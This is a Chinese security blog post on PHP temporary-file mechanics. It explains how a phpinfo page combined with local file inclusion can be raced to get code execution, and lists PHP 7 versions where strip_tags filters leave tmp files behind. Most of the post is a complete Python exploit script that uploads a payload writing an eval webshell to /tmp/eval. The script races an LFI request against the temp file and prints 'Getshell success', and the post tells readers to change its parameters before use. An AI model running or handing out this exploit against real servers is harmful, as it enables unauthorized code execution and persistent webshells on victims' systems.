php临时文件
2021.02.22
le31ei
Pentest
 热度
℃
本来打算研究下phpinfo+本地包含导致命令执行的利用方法,深入研究原理后发现是php临时文件机制的问题,故记录下学习过程。
0x01 phpinfo+LFI 该方法的利用原理其实很简单,利用的是php在上传的时候会生成临时文件。会在临时的存储目录生成名为:php**.tmp
的临时文件,而该文件内容就是上传的内容,并且该文件路径会显示在phpinfo的tmp_dir路径当中。
在存在本地包含漏洞的时候,可以直接通过读取phpinfo中的该配置项,直接去包含临时文件,执行临时文件中的代码。
如果临时文件是一个写文件的脚本,那么直接就可以通过竞争条件的方式在临时文件被删除之前,生成新的shell文件。
具体利用代码如下:
在使用时,需要修改包含文件的路径,写文件的位置,等参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 import osimport socketimport sysPAYLOAD="""<?php file_put_contents('/tmp/eval', '<?=eval($_REQUEST[1])?>')?>\r""" UPLOAD="""-----------------------------7dbff1ded0714\r Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r Content-Type: text/plain\r \r {} -----------------------------7dbff1ded0714--\r""" .format (PAYLOAD)padding="A" * 5000 INFOREQ="""POST /phpinfo.php?a={padding} HTTP/1.1\r Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie={padding}\r HTTP_ACCEPT: {padding}\r HTTP_USER_AGENT: {padding}\r HTTP_ACCEPT_LANGUAGE: {padding}\r HTTP_PRAGMA: {padding}\r Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r Content-Length: {len}\r Host: %s\r \r {upload}""" .format (padding=padding, len =len (UPLOAD), upload=UPLOAD)LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r User-Agent: Mozilla/4.0\r Proxy-Connection: Keep-Alive\r Host: %s\r \r \r """ class PHPINFO_LFI (): def __init__ (self, host, port ): self.host = host self.port = int (port) self.req_payload= (INFOREQ % self.host).encode('utf-8' ) self.lfireq = LFIREQ self.offset = self.get_offfset() def get_offfset (self ): ''' 获取tmp名字的offset ''' s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((self.host, self.port)) s.send(self.req_payload) page = b"" while True : i = s.recv(4096 ) page+=i if i == "" : break if i.decode('utf8' ).endswith("0\r\n\r\n" ): break s.close() pos = page.decode('utf8' ).find("[tmp_name] => " ) print('get the offset :{} ' .format (pos)) if pos == -1 : raise ValueError("No php tmp_name in phpinfo output" ) return pos+256 def phpinfo_lfi (self ): ''' 同时发送phpinfo请求与lfi请求 ''' phpinfo = socket.socket(socket.AF_INET, socket.SOCK_STREAM) lfi = socket.socket(socket.AF_INET, socket.SOCK_STREAM) phpinfo.connect((self.host, self.port)) lfi.connect((self.host, self.port)) phpinfo.send(self.req_payload) infopage = b"" while len (infopage) < self.offset: infopage += phpinfo.recv(self.offset) pos = infopage.decode('utf8' ).index("[tmp_name] => " ) tmpname = infopage[pos+17 :pos+31 ] lfireq = self.lfireq % (tmpname.decode('utf8' ),self.host) lfi.send(lfireq.encode('utf8' )) fipage = lfi.recv(4096 ) phpinfo.close() lfi.close() if fipage.decode('utf8' ).find(tag) != -1 : return tmpname if __name__ == '__main__' : if len (sys.argv) < 4 : print('usage:\n\texp.py 127.0.0.1 80 500' ) exit() host = sys.argv[1 ] port = sys.argv[2 ] attempts = sys.argv[3 ] print('{x}Start expolit {host}:{port} {attempts} times{x}' .format (x='*' *15 , host=host, port=port, attempts=attempts)) p = PHPINFO_LFI(host,port) for i in range (int (attempts)): print('Trying {}/{} times…' .format (i, attempts), end="\r" ) if p.phpinfo_lfi() is not None : print('Getshell success! at /tmp/eval "<?=eval($_REQUEST[1])?>"' ) exit() print(':( Failed' )
但在实际使用过程中,tmp文件删除太快,导致基本没有成功包含过。 由此引发的后续研究。
0x02 php临时文件 配置文件 :php.ini
的upload_tmp_dir
属性指定
命名规则 :默认为 php+4或者6位随机数字和大小写字母,php[0-9A-Za-z]{3,4,5,6},phpXXXXXX.tmp 在windows下有tmp后缀,linux没有。
让临时文件保存下来:
php7在满足以下版本的情况下,可以通过php://filter/string.strip_tags
生成tmp
文件
• php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复
• php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复
• php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复
参考文档
PHP临时文件机制与利用的思考
PHP文件包含漏洞(利用phpinfo)
https://github.com/M4LV0/LFI-phpinfo-RCE/blob/master/exploit.py